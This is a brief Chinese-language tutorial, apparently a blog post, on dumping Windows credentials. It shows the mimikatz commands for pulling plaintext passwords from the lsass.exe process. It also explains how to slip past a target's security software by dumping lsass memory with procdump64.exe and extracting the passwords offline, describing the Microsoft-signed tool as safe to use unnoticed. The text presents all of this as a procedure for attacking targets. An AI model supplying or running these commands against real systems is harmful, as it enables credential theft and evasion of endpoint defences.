mimikatz 是一款windows平台下的神器，它具备很多功能，我认为最牛逼的是lsass.exe进程中获取windows的账号明文密码，当然他的其他功能也很强大。是在下才疏学浅，没有精通。
mimikatz获取密码
安装 mimikatz_trunk
以管理员身份运行
命令如下：
privilege::debug
sekurlsa::logonpasswords
>在对目标进行攻击的时候，对方有安全软件的情况下可以先安装procdump64.exe，获取到 lsass.dmp 文件，然后在自己的环境下运行mimikatz这样就获取到目标密码。
安装procdump64.exe
这是微软自己的工具所以不会存在任何异常所以放心使用
命令如下：
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
获取到 lsass.dmp文件后可以用
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
来获取明文密码，最后的exit是运行完成之后停止，不然会一直运行下去